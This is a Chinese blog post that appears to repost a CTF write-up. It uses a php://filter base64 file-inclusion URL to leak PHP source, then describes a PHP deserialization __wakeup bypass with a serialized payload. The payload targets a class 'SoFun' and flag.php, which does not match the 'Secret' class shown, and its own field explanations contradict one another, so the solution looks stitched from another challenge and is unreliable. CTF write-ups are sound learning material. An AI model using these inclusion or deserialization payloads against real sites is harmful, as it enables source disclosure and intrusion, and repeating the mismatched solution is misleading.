filter CTF

2023-04-07编程技术47010

filter CTF

输入url

http://dc1ce3ad-eed4-48fd-a068-71aef12f7654.node.vaala.ink?file=demo.php

参考题目filter

php://filter:读取Php文件

?file=php://filter/convert.base64-encode/resource=

http://hhh?file=php://filter/convert.base64-encode/resource=demo.php

解码出来:

查看一下index.php

<?php
error_reporting(0);
if (!$_GET['file'])
echo '?file=demo.php<br>';
else
{
$file = $_GET['file'];
if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file,"data"))
exit("Oh god, please no!");
else if (preg_match("/config/i", $file))
exit("i will not show it to you!");
include($file);
}
//play.php
?>

查看一下play.php

<?php
require_once ('config.php');
class Secret
{
public $flag = '';
function __construct($flag)
{
$this->flag = $flag;
}
function __wakeup()
{
$this->flag = "hacker!";
}
function __destruct()
{
if ($this->flag == '114514')
{
global $FLAG;
echo $FLAG;
}
else
echo $this->flag;
}
}
$s = unserialize($_GET['code']);
?>

$s = unserialize($_GET['code']);

反序列化

反序列化 漏洞

php允许保存一个对象方便以后重用:序列化

serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值

unserialize则可以将serialize生成的字符串变换回变量

序列化字符串,表示对象属性个数的值大于实际属性个数时,就会跳过wakeup方法的执行

明确了这些之后,就可以构造出Payload了,需反序列化的对象为:

O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

O:5:”SoFun” 指的是 类:5个字符:SoFun

:2: 指的是 有两个对象

S:7:”\00\00file” 指的是有个属性,有7个字符,名为\00\00file

s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php

值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。

https://www.freebuf.com/news/172507.html

filter CTF的相关教程结束。

本文地址:https://www.ufcn.cn/tutorials/2423586.html

如非特殊说明,本站内容均来自于网友自主分享,概不代表本站观点,如有任何问题我们都将在收到反馈后的第一时间进行处理!